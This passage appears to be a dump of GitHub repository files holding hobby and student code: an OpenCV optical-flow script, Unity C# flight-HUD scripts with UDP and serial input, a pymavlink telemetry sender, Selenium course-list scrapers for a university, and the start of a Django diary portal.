cv.cartToPolar(flow[...,0], flow[...,1])\n hsv[...,0] = ang*180/np.pi/2\n hsv[...,2] = cv.normalize(mag,None,0,255,cv.NORM_MINMAX)\n bgr = cv.cvtColor(hsv,cv.COLOR_HSV2BGR)\n cv.imshow('frame2',bgr)\n k = cv.waitKey(30) & 0xff\n if k == 27:\n break\n elif k == ord('s'):\n cv.imwrite('opticalfb.png',frame2)\n cv.imwrite('opticalhsv.png',bgr)\n pixel_y = 320\n pixel_x = 192\n #print(f'the velocity vector at pixel (y=10,x=15) is {flow[pixel_x,pixel_y]}')\n prvs = next\n magnitude = np.linalg.norm(flow[pixel_x,pixel_y])\n print('Magnitude','Height','Velocity')\n print(magnitude,df.iloc[i].values)\n worksheet.write(row,col,magnitude)\n worksheet.write(row,col+1,df.iloc[i].values)\n\n velocity = ((height.iloc[i].values//(1307.7504)) * magnitude)\n \n print('Magnitude','Height','Velocity')\n #print(magnitude,df.iloc[i].values,velocity)\n \n row += 1\n i += 1\n \nworkbook.close()\n \n()\n" } ]
4
Wzysaber/learn-git
https://github.com/Wzysaber/learn-git
e75a7eebd5d98de1372a5269c5d6cb128ca8c81b
fc1aae874c399d164b9b2a0c55a991e0d1bc14ea
b9e14749ecc9c151d428b81618b114e7260f0b85
refs/heads/master
2021-08-06T17:49:38.380631
2020-09-20T12:50:37
2020-09-20T12:50:37
220,222,649
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 12, "blob_id": "de0d075159edcaf17d6f6b287a5ddfac3b5d8058", "content_id": "17c27adae922c227f6a472c3223fa1bca8d055e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 26, "license_type": "no_license", "max_line_length": 13, "num_lines": 2, "path": "/README.md", "repo_name": "Wzysaber/learn-git", "src_encoding": "UTF-8", "text": "# learn-git\nnone test git\n" }, { "alpha_fraction": 0.37905237078666687, "alphanum_fraction": 0.41147130727767944, "avg_line_length": 16.478260040283203, "blob_id": "99887d925e12a18285bae59b98fb471f983ff1a8", "content_id": "ef8f6b83b84c712551992faee618b0ae21275dd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 401, "license_type": "no_license", "max_line_length": 81, "num_lines": 23, "path": "/test.py", "repo_name": "Wzysaber/learn-git", "src_encoding": "UTF-8", "text": "import turtle\nimport time\nimport math\n\ndef polypon(n): \n for i in range(n):\n pen.fd(50)\n pen.left(360/n)\n \ndef arc(p,r,angle):\n L = 2 * math.pi * r *angle/360\n n = int(L / 3) + 1\n length = L / n\n\n \nif __name__ == '__main__':\n pen = turtle.Turtle()\n \n\n turtle.exitonclick()\n###############################################################################33\n\n#ASA" } ]
2
2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana
https://github.com/2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana
cb1edc8ebf33c2b6d62c5a80b704b5444464adca
3f8f9719d23f6ae796c10ac1ec2e54790797d595
a7f2e2e4afa5b4859704503536a7bc4c46c01afb
refs/heads/master
2020-03-31T18:03:41.188686
2018-11-12T20:53:59
2018-11-12T20:53:59
152,445,074
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5902174115180969, "alphanum_fraction": 0.6010869741439819, "avg_line_length": 20.418603897094727, "blob_id": "9b82c2f19fc0764fd9fe46e0683c671669d976d2", "content_id": "d14e1d82ea8d90d1f1009fd1639fc5c0fb337433", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 922, "license_type": "no_license", "max_line_length": 74, "num_lines": 43, "path": "/Wecam/Assets/MoveCameraScript.cs", "repo_name": "2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class MoveCameraScript : MonoBehaviour\n{\n public float mSpeed;\n\n // Use this for initialization\n void Start()\n {\n mSpeed = 20f;\n }\n\n float inputX, inputZ;\n // Update is called once per frame\n void Update()\n {\n inputX = mSpeed * Input.GetAxis(\"Horizontal\");\n inputZ = mSpeed * Input.GetAxis(\"Vertical\");\n\n if (inputX != 0)\n rotateLeftRight();\n if (inputZ != 0)\n rotateUpDown();\n }\n\n private void move()\n {\n transform.position += transform.forward * inputZ * Time.deltaTime;\n }\n\n private void rotateLeftRight()\n {\n transform.Rotate(new Vector3(0f, inputX * Time.deltaTime, 0f));\n }\n\n private void rotateUpDown()\n {\n transform.Rotate(new Vector3(-inputZ * Time.deltaTime, 0f, 0f));\n }\n}" }, { "alpha_fraction": 0.5292174816131592, "alphanum_fraction": 0.5556402206420898, "avg_line_length": 36.141510009765625, "blob_id": "593213f7a573c598785802d6821ec10210bd1ab3", "content_id": "bc5c136df082ffafd661844222b524ce167cf451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3936, "license_type": "no_license", "max_line_length": 272, "num_lines": 106, "path": "/mavlink_serial.py", "repo_name": "2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana", "src_encoding": "UTF-8", "text": "import sys, time\nimport mavlink_function as mav\nfrom pymavlink import mavutil\nfrom argparse import ArgumentParser\n\nimport socket\nimport sys\n\n# Create a UDP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nserver_address = ('localhost', 10000)\n\nclass RAW_IMU:\n def __init__(self, _xacc, _yacc, _zacc, _xgyro, _ygyro, _zgyro, _xmag, _ymag, _zmag):\n self.xacc = _xacc\n self.yacc = _yacc\n self.zacc = _zacc\n self.xgyro = _xgyro\n self.ygyro = _ygyro\n self.zgyro = _zgyro\n self.xmag = _xmag\n self.ymag = _ymag\n self.zmag = _zmag\n\nclass RAW_GPS:\n def __init__(self, _fix_type, _lat, _lon, _alt, _eph, _epv, _vel, _cog, _satellites_visible):\n self.fix_type = _fix_type\n self.lat = _lat\n self.lon = _lon\n self.alt = _alt\n self.eph = _eph\n self.epv = _epv\n self.vel = _vel\n self.cog = _cog\n self.satellites_visible = _satellites_visible\n \nmaster = mavutil.mavlink_connection(\"COM7\", 115200)\n\nheading = -999\nroll = -999\npitch = -999\naltitude = -999\nlatitude = -999\nlongitude = -999\n\nGPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\nprev_GPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\ndistance = 0\ninit = True\n\nwhile True:\n try:\n master.mav.request_data_stream_send(master.target_system, master.target_component, \n\t\tmavutil.mavlink.MAV_DATA_STREAM_ALL, 100, 1)\n # print(master.recv_match())\n message = master.recv_match()\n \n if not message:\n continue\n if message.get_type() == 'RAW_IMU': #ATTITUDE\n RAW_IMU_dict = message.to_dict()\n DATA = RAW_IMU(int(RAW_IMU_dict[\"xacc\"]), int(RAW_IMU_dict[\"yacc\"]), int(RAW_IMU_dict[\"zacc\"]), int(RAW_IMU_dict[\"xgyro\"]), int(RAW_IMU_dict[\"ygyro\"]), int(RAW_IMU_dict[\"zgyro\"]), int(RAW_IMU_dict[\"xmag\"]), int(RAW_IMU_dict[\"ymag\"]), int(RAW_IMU_dict[\"zmag\"]))\n roll = mav.roll_estimate(DATA)\n pitch = mav.pitch_estimate(DATA)\n \n if message.get_type() == 'VFR_HUD':\n VFR_HUD_dict = message.to_dict()\n heading = int(VFR_HUD_dict[\"heading\"])\n if(heading > 180):\n heading = heading - 360\n altitude = float(VFR_HUD_dict[\"alt\"])\n\n if message.get_type() == 'GPS_RAW_INT':\n GPS_dict = message.to_dict()\n GPS = RAW_GPS(int(GPS_dict[\"fix_type\"]), float(GPS_dict[\"lat\"]) / 10000000, float(GPS_dict[\"lon\"]) / 10000000, int(GPS_dict[\"alt\"]), int(GPS_dict[\"eph\"]), int(GPS_dict[\"epv\"]), int(GPS_dict[\"vel\"]), int(GPS_dict[\"cog\"]), int(GPS_dict[\"satellites_visible\"]))\n # if(not init):\n # distance = mav.distance_two(GPS, prev_GPS) * 1000 #kilometer to meter\n \n # prev_GPS = GPS\n # if(prev_GPS.lon != 0 and prev_GPS.lat != 0):\n # init = False\n \n # print(\"longitude: %f, latitude: %f, distance: %f\" % (GPS.lon, GPS.lat, distance))\n \n if(heading != -999 and pitch != -999 and roll != -999 and altitude != -999 and GPS.lon != 0 and GPS.lat != 0):\n # print(\"heading: %d, pitch: %f, roll: %f, altitude: %f, longitude: %f, latitude: %f\" % (heading, pitch, roll, altitude, GPS.lon, GPS.lat))\n # message = \"AraTa:\"+heading+\":\"+pitch+\":\"+roll+\":\"+altitude+\":\"+GPS.lon+\":\"+GPS.lat\n message = \"AraTa:{0}:{1}:{2}:{3}:{4}:{5}\".format(heading, pitch, roll, altitude, GPS.lon, GPS.lat)\n send_message = str.encode(message)\n print('sending {!r}'.format(send_message))\n sent = sock.sendto(send_message, server_address)\n \n # if message.get_type() == 'NAV_CONTROLLER_OUTPUT':\n # print(\"message: %s\" % message)\n except Exception as e:\n print(e)\n exit(0)\n\n# Get some information !\n# while True:\n# try:\n# print(master.recv_match().to_dict())\n# except:\n# pass\n# time.sleep(0.1)" }, { "alpha_fraction": 0.5810621976852417, "alphanum_fraction": 0.5870020985603333, "avg_line_length": 24.105262756347656, "blob_id": "e5f20b2f78d18538be3b57dbd0eb9ddf2a93dd30", "content_id": "499934d719d6de4a26be3d4fdd601ab0cb771f38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 2864, "license_type": "no_license", "max_line_length": 139, "num_lines": 114, "path": "/Wecam/Assets/PipeServer.cs", "repo_name": "2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana", "src_encoding": "UTF-8", "text": "using System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\nusing System;\nusing System.IO;\nusing System.IO.Pipes;\nusing System.Diagnostics;\nusing System.Threading;\nusing System.Security.Principal;\nusing System.Text;\n\npublic class PipeServer : MonoBehaviour {\n public static NamedPipeServerStream pipeServer =\n new NamedPipeServerStream(\"testpipe\", PipeDirection.InOut);\n public static string msgs;\n Process pipeClient = new Process();\n\n public static void ServerThread()\n {\n print(\"Waiting client to connect\\n\");\n // Wait for a client to connect\n pipeServer.WaitForConnection();\n\n print(\"Connected\\n\");\n StreamString ss = new StreamString(pipeServer);\n\n while (true)\n {\n string messages = \"\";\n\n if (ss.ReadString(ref messages))\n {\n //Console.WriteLine(\"Read : \" + messages);\n print(\"Read : \" + messages);\n }\n }\n }\n\n // Use this for initialization\n void Start () {\n print(\"Initialize Pipe Server\\n\");\n ThreadStart childref = new ThreadStart(ServerThread);\n Thread childThread = new Thread(childref);\n childThread.IsBackground = true;\n childThread.Start();\n\n pipeClient.StartInfo.FileName = \"D:/Reza/Dokumen/Visual studio project/WebCam_C_sharp/WebCam_C_sharp/bin/Debug/WebCam_C_sharp.exe\";\n pipeClient.Start();\n }\n\n // Update is called once per frame\n void Update () {\n\t\t\n\t}\n\n private void OnApplicationQuit()\n {\n pipeServer.Close();\n pipeClient.Kill();\n print(\"Close\");\n }\n}\n\npublic class StreamString\n{\n private Stream ioStream;\n private UnicodeEncoding streamEncoding;\n\n public StreamString(Stream ioStream)\n {\n this.ioStream = ioStream;\n streamEncoding = new UnicodeEncoding();\n }\n\n public bool ReadString(ref string msg)\n {\n Console.WriteLine(\"read\");\n int len;\n len = ioStream.ReadByte() * 256;\n len += ioStream.ReadByte();\n Console.WriteLine(\"Len: \" + len);\n if (len > 0)\n {\n byte[] inBuffer = new byte[len];\n ioStream.Read(inBuffer, 0, len);\n\n msg = streamEncoding.GetString(inBuffer);\n\n return true;\n }\n else\n {\n msg = \"\";\n return false;\n }\n }\n\n public int WriteString(string outString)\n {\n byte[] outBuffer = streamEncoding.GetBytes(outString);\n int len = outBuffer.Length;\n if (len > UInt16.MaxValue)\n {\n len = (int)UInt16.MaxValue;\n }\n ioStream.WriteByte((byte)(len / 256));\n ioStream.WriteByte((byte)(len & 255));\n ioStream.Write(outBuffer, 0, len);\n ioStream.Flush();\n\n return outBuffer.Length + 2;\n }\n}\n" }, { "alpha_fraction": 0.49389830231666565, "alphanum_fraction": 0.5166101455688477, "avg_line_length": 31.41758155822754, "blob_id": "7292c64fb6aec028c51d87d74a2697a75bdd7335", "content_id": "a67b9edb2e8c78acc8b6db440f39d6edfe5483a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 2952, "license_type": "no_license", "max_line_length": 99, "num_lines": 91, "path": "/Wecam/Assets/SerialComm.cs", "repo_name": "2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana", "src_encoding": "UTF-8", "text": "using System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class SerialComm : MonoBehaviour {\n float[] lastRot = { 0, 0, 0 };\n float lastRoll = 0;\n float lastPitch = 0;\n\n public Transform obj_roll;\n public Transform arrow_roll;\n public Transform obj_pitch;\n public Transform arrow_pitch;\n\n float yaw = 0;\n float pitch = 0;\n float roll = 0;\n \n void OnMessageArrived(string msg)\n {\n //print(\"Message arrived: \" + msg);\n string[] vec3 = msg.Split(':');\n\n //Debug.Log(\"Header: \" + vec3[0]);\n if (vec3[0].Equals(\"AraTa\"))\n {\n if (vec3[1] != \"\" && vec3[2] != \"\" && vec3[3] != \"\")\n {\n //print(\"Masuk\");\n //print(vec3[1] + \", \" + vec3[2] + \", \" + vec3[3]);\n yaw = float.Parse(vec3[1]);\n pitch = float.Parse(vec3[2]);\n roll = float.Parse(vec3[3]);\n\n print(yaw + \", \" + pitch + \", \" + roll);\n\n float difYaw = yaw - lastRot[0];\n float difPitch = pitch - lastRot[1];\n float difRoll = roll - lastRot[2];\n\n rotateCamera(difYaw, difPitch, difRoll);\n \n lastRot[0] = transform.rotation.eulerAngles.y;\n lastRot[1] = transform.rotation.eulerAngles.x;\n lastRot[2] = transform.rotation.eulerAngles.z;\n\n float hudRoll = roll - lastRoll;\n rotateRoll(hudRoll);\n\n lastRoll = roll;\n\n float mvPitch = ((pitch + 180) / 360 * 36) - 18;\n float hudpitch = mvPitch - lastPitch;\n movePitch(hudpitch);\n\n lastPitch = arrow_pitch.position.y;\n //Debug.Log(\"hud: \" + hudRoll + \", roll: \" + roll + \", lastRoll: \" + lastRoll);\n //Debug.Log(\"art: \" + difYaw + \", \" + difPitch + \", \" + difRoll);\n //Debug.Log(\"ptc: \" + mvPitch + \", \" + pitch + \", \" + lastPitch + \", \" + hudpitch);\n }\n }\n }\n\n void rotateCamera(float dy, float dp, float dr)\n {\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\n }\n\n void rotateRoll(float vroll)\n {\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n }\n\n void movePitch(float dpitch)\n {\n arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\n //obj_pitch.transform.position = new Vector3(0.0f, mvPitch, 15.0f);\n //obj_pitch.position.Set(0f, mvPitch, 0f);\n }\n\n void OnConnectionEvent(bool success)\n {\n if (success)\n Debug.Log(\"Connection established\");\n else\n Debug.Log(\"Connection attempt failed or disconnection detected\");\n }\n}\n" }, { "alpha_fraction": 0.536709189414978, "alphanum_fraction": 0.5576328039169312, "avg_line_length": 33.81465530395508, "blob_id": "291b9458184efb1e25ae311b44eaa3962661c7dd", "content_id": "8592881784b777ff345ea26d2be7a2f05095c47c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 8079, "license_type": "no_license", "max_line_length": 160, "num_lines": 232, "path": "/Wecam/Assets/FligthController.cs", "repo_name": "2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Text;\nusing System.Threading;\nusing UnityEngine;\nusing UnityEngine.UI;\n\npublic class FligthController : MonoBehaviour {\n public static string flight_data = \"\";\n\n float[] lastRot = { 0, 0, 0 };\n float lastRoll = 0;\n float lastPitch = 0;\n\n public Transform plane;\n public Transform obj_roll;\n public Transform arrow_roll;\n public Transform obj_pitch;\n public Transform arrow_pitch;\n public Transform pin;\n public Transform direction;\n public Transform arrow_direction;\n\n public Text altitude_text;\n public Text distance_text;\n\n float yaw = 0;\n float pitch = 0;\n float roll = 0;\n\n float altitude = 0;\n float longitude = 0;\n float latitude = 0;\n\n public float target_long;\n public float target_lat;\n\n public static void ServerThread()\n {\n UdpClient udpServer = new UdpClient(10000);\n\n while (true)\n {\n var remoteEP = new IPEndPoint(IPAddress.Any, 10000);\n var data = udpServer.Receive(ref remoteEP);\n //print(\"receive data from \" + remoteEP.ToString());\n\n string message = Encoding.ASCII.GetString(data);\n //print(\"Messages \" + message);\n //byte[] send_buffer = Encoding.ASCII.GetBytes(message);\n //udpServer.Send(send_buffer, send_buffer.Length, remoteEP);\n\n flight_data = message;\n }\n }\n\n // Use this for initialization\n void Start () {\n ThreadStart childref = new ThreadStart(ServerThread);\n Thread childThread = new Thread(childref);\n childThread.IsBackground = true;\n childThread.Start();\n }\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n //print(\"Message arrived: \" + msg);\n\n string[] alldata = flight_data.Split(':');\n\n //print(\"Header: \" + alldata[4]);\n if (alldata[0].Equals(\"AraTa\"))\n {\n if (alldata[1] != \"\" && alldata[2] != \"\" && alldata[3] != \"\")\n {\n //print(\"Masuk\");\n //print(vec3[1] + \", \" + vec3[2] + \", \" + vec3[3]);\n yaw = float.Parse(alldata[1]);\n pitch = float.Parse(alldata[2]) * -1;\n roll = float.Parse(alldata[3]);\n altitude = float.Parse(alldata[4]);\n longitude = float.Parse(alldata[5]);\n latitude = float.Parse(alldata[6]);\n\n string alt_text = \"Altitude: \" + altitude.ToString() + \" m\";\n altitude_text.text = alt_text;\n movePlane(altitude);\n //print(alt_text);\n //print(altitude + \", \" + longitude + \", \" + latitude);\n //print(yaw + \", \" + pitch + \", \" + roll);\n\n double distanceTo = DistanceTo(latitude, longitude, target_lat, target_long, 'K') * 1000;\n double targetHeading = angleFromCoordinate(latitude, longitude, target_lat, target_long);\n\n double targetHeadingRad = targetHeading * Math.PI / 180;\n double pos_pin_x = Math.Sin(targetHeadingRad) * distanceTo;\n double pos_pin_y = Math.Cos(targetHeadingRad) * distanceTo;\n pin.transform.position = new Vector3((float)pos_pin_x, 0f, (float)pos_pin_y);\n\n rotateDirection(yaw, (float)targetHeading);\n\n string dst_text = string.Format(\"{0:F2}\", distanceTo) + \" m\";\n distance_text.text = dst_text;\n //print(targetHeading + \", \" + targetHeadingRad + \", \" + distanceTo + \", \" + pos_pin_x + \", \" + pos_pin_y + \", \" + latitude + \", \" + longitude);\n\n float difYaw = yaw - lastRot[0];\n float difPitch = pitch - lastRot[1];\n float difRoll = roll - lastRot[2];\n\n rotateCamera(difYaw, difPitch, difRoll);\n\n lastRot[0] = transform.rotation.eulerAngles.y;\n lastRot[1] = transform.rotation.eulerAngles.x;\n lastRot[2] = transform.rotation.eulerAngles.z;\n\n float hudRoll = roll - lastRoll;\n rotateRoll(hudRoll);\n\n lastRoll = roll;\n\n float mvPitch = pitch / 10;\n float hudpitch = mvPitch - lastPitch;\n movePitch(hudpitch, roll);\n\n lastPitch = arrow_pitch.position.y;\n //Debug.Log(\"hud: \" + hudRoll + \", roll: \" + roll + \", lastRoll: \" + lastRoll);\n //Debug.Log(\"art: \" + difYaw + \", \" + difPitch + \", \" + difRoll);\n //Debug.Log(\"ptc: \" + mvPitch + \", \" + pitch + \", \" + lastPitch + \", \" + hudpitch);\n }\n }\n }\n\n private double DistanceTo(double lat1, double lon1, double lat2, double lon2, char unit = 'K')\n {\n double rlat1 = Math.PI * lat1 / 180;\n double rlat2 = Math.PI * lat2 / 180;\n double theta = lon1 - lon2;\n double rtheta = Math.PI * theta / 180;\n double dist =\n Math.Sin(rlat1) * Math.Sin(rlat2) + Math.Cos(rlat1) *\n Math.Cos(rlat2) * Math.Cos(rtheta);\n dist = Math.Acos(dist);\n dist = dist * 180 / Math.PI;\n dist = dist * 60 * 1.1515;\n\n switch (unit)\n {\n case 'K': //Kilometers -> default\n return dist * 1.609344;\n case 'N': //Nautical Miles \n return dist * 0.8684;\n case 'M': //Miles\n return dist;\n }\n\n return dist;\n }\n\n private double angleFromCoordinate(double lat1, double long1, double lat2, double long2)\n {\n\n double dLon = (long2 - long1);\n\n double y = Math.Sin(dLon) * Math.Cos(lat2);\n double x = Math.Cos(lat1) * Math.Sin(lat2) - Math.Sin(lat1)\n * Math.Cos(lat2) * Math.Cos(dLon);\n\n double brng = Math.Atan2(y, x);\n\n brng = toDegrees(brng);\n brng = (brng + 360) % 360;\n if (brng > 180) brng = brng - 360;\n //brng = 360 - brng; // count degrees counter-clockwise - remove to make clockwise\n\n return brng;\n }\n\n private double toDegrees(double radians)\n {\n double degrees = (180 / Math.PI) * radians;\n return (degrees);\n }\n\n void movePlane(float altitude)\n {\n Vector3 prevAlt = plane.transform.position;\n plane.transform.position = new Vector3(prevAlt.x, altitude, prevAlt.z);\n }\n\n void rotateDirection(float heading, float target_heading)\n {\n float dHeading = target_heading - heading;\n float prevHeading = arrow_direction.eulerAngles.y;\n if (prevHeading > 180) prevHeading = prevHeading - 360;\n float dy = dHeading- prevHeading;\n arrow_direction.Rotate(new Vector3(0f, dy, 0f), Space.Self);\n\n //Quaternion prev = arrow_direction.rotation;\n //Quaternion newQ = new Quaternion(prev.x, prev.y+2, prev.z, prev.w);\n //arrow_direction.rotation = newQ;\n print(heading + \", \" + target_heading + \", \" + dHeading + \", \" + prevHeading + \", \" + dy);\n }\n\n void rotateCamera(float dy, float dp, float dr)\n {\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\n direction.Rotate(new Vector3(dp, dy, dr), Space.Self);\n }\n\n void rotateRoll(float vroll)\n {\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n }\n\n void movePitch(float dpitch, float teta)\n {\n double rad = teta * Math.PI / 180;\n double xPitch = Math.Sin(rad) * dpitch;\n double yPitch = Math.Cos(rad) * dpitch;\n obj_pitch.Translate(new Vector3((float)xPitch, (float)yPitch, 0f), Space.Self);\n //arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\n //arrow_pitch.transform.position = new Vector3(0f, 0f, 0f);\n //obj_pitch.position.Set(0f, mvPitch, 0f);\n }\n}\n" } ]
5
skylarbarrera/courselist-webScraperWM
https://github.com/skylarbarrera/courselist-webScraperWM
fe19acba0970f2d18396af694571910b6927132e
68dabdefe0ca850de7888aeb16534fb19fe0fd7d
ca2ba5b26e1a7f9acb30ac5802ea84be6d88146b
refs/heads/master
2020-12-03T08:24:35.646835
2020-01-01T20:31:20
2020-01-01T20:31:20
231,251,146
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.622107982635498, "alphanum_fraction": 0.6246786713600159, "avg_line_length": 24.933332443237305, "blob_id": "a41a68bf2d23dc4980a323df16ce902ba910213a", "content_id": "00f3f6f71b0e9b344437795e7de20eb11d64187d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 96, "num_lines": 45, "path": "/subjectScraper.py", "repo_name": "skylarbarrera/courselist-webScraperWM", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom selenium import webdriver\n\nclass SubjectScraper:\n def __init__(self):\n self.url = \"https://courselist.wm.edu/courselist/\"\n\n\n self.driver = self.__setupDriver();\n self.subjects = self.__pullSubjects();\n\n\n def __setupDriver(self):\n\n options = webdriver.ChromeOptions()\n options.binary_location = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n chrome_driver_binary = \"/usr/local/bin/chromedriver\"\n return webdriver.Chrome(chrome_driver_binary, chrome_options=options)\n\n def __pullSubjects(self):\n self.driver.get(self.url)\n sleep(3)\n\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\n option = soup.find(id = \"term_subj\")\n subjects = option.select('option[value]')\n\n allSubjects = [];\n for subject in subjects:\n allSubjects.append([\n subject.get('value'),\n subject.text\n ])\n\n\n\n allSubjects.pop(0)\n self.driver.quit()\n return allSubjects\n\n\n def getSubjects(self):\n return self.subjects;\n" }, { "alpha_fraction": 0.629512369632721, "alphanum_fraction": 0.6459784507751465, "avg_line_length": 27.196428298950195, "blob_id": "8aa8f23be9f783e1e14cdc9c7526d772b1003d2a", "content_id": "b559a02a60f0dedd7733f904bbaee145e0887334", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1579, "license_type": "no_license", "max_line_length": 191, "num_lines": 56, "path": "/SingleSubjectScraper.py", "repo_name": "skylarbarrera/courselist-webScraperWM", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom selenium import webdriver\n\n\n\nSubjects = [];\n# Term = 202020\n# Subject = CSCI\n#classInfo = 'https://courselist.wm.edu/courselist/courseinfo/addInfo?fterm=202020&fcrn=23740'\n\nclass SingleSubjectScraper:\n def __init__(self,term,subject):\n self.term = term\n self.subject = subject\n self.url = 'https://courselist.wm.edu/courselist/courseinfo/searchresults?term_code={}&term_subj={}&attr=0&attr2=0&levl=0&status=0&ptrm=0&search=Search'.format(self.term,self.subject)\n\n\n self.driver = self.__setupDriver();\n self.classes = self.__pullClasses();\n\n\n def __setupDriver(self):\n\n options = webdriver.ChromeOptions()\n options.binary_location = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n chrome_driver_binary = \"/usr/local/bin/chromedriver\"\n return webdriver.Chrome(chrome_driver_binary, chrome_options=options)\n\n def __pullClasses(self):\n self.driver.get(self.url)\n sleep(3)\n\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\n #print(soup)\n\n\n allClasses = soup.find_all(\"tr\")\n\n\n allClassesData = []\n for i in allClasses:\n oneClass = i.find_all(\"td\");\n tempClass =[]\n for item in oneClass:\n tempClass.append(item.text.strip())\n\n allClassesData.append(tempClass)\n allClassesData.pop(0)\n self.driver.quit()\n return allClassesData\n\n\n def getClasses(self):\n return self.classes;\n" }, { "alpha_fraction": 0.6839916706085205, "alphanum_fraction": 0.704781711101532, "avg_line_length": 34.62963104248047, "blob_id": "c1b9addd175fb6cb20f78abaef0b4ad436cd4577", "content_id": "15a4e3e392a1b774d9a13b40743a73326df23a38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 174, "num_lines": 27, "path": "/allClassDriver.py", "repo_name": "skylarbarrera/courselist-webScraperWM", "src_encoding": "UTF-8", "text": "from SingleSubjectScraper import SingleSubjectScraper\nfrom subjectScraper import SubjectScraper\nimport pandas as pd\nimport numpy as np\n\n\ntest = SubjectScraper()\n\nsubjects = test.getSubjects()\n\n\n#new = SingleSubjectScraper(\"202020\", 'CSCI')\ndf = pd.DataFrame( columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\n#\n#new = SingleSubjectScraper(\"202020\", subject[0])\n\n# newDf = pd.DataFrame( new.getClasses(), columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\nfor subject in subjects:\n\n new = SingleSubjectScraper(\"202020\", subject[0])\n newDf = pd.DataFrame( new.getClasses(), columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\n df = df.append(newDf)\n\n#df.transpose()\nprint(df)\n\nexport_csv = df.to_csv(\"allClasses.csv\")\n" } ]
3
Naman027/Intern-Placement-CCD-Portal
https://github.com/Naman027/Intern-Placement-CCD-Portal
68a470cc21ff2581d3c9b8d9c48bd014e6980101
a0514f1650b71c86c72c9f8b4a249c3858be3534
a842b6e540851419c31990671194b14a38560ac0
refs/heads/master
2023-07-10T13:23:05.729696
2021-08-23T07:20:12
2021-08-23T07:20:12
399,005,118
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5942480564117432, "alphanum_fraction": 0.5967645049095154, "avg_line_length": 36.936363220214844, "blob_id": "d95b395d724a4a4d7899375b97fe72d11a494535", "content_id": "c636b87346f5c2cc3cf2e8375b9db225273c074e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8345, "license_type": "no_license", "max_line_length": 133, "num_lines": 220, "path": "/Diary_Portal/diary/views.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import company,remarks\nfrom . import forms\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import PasswordChangeForm\nfrom django.contrib import messages\n\n\ndef session_logout(request):\n\tlogout(request)\n\treturn HttpResponseRedirect(reverse('main_page'))\n\ndef getPlacement(request):\n print(\"Entered in 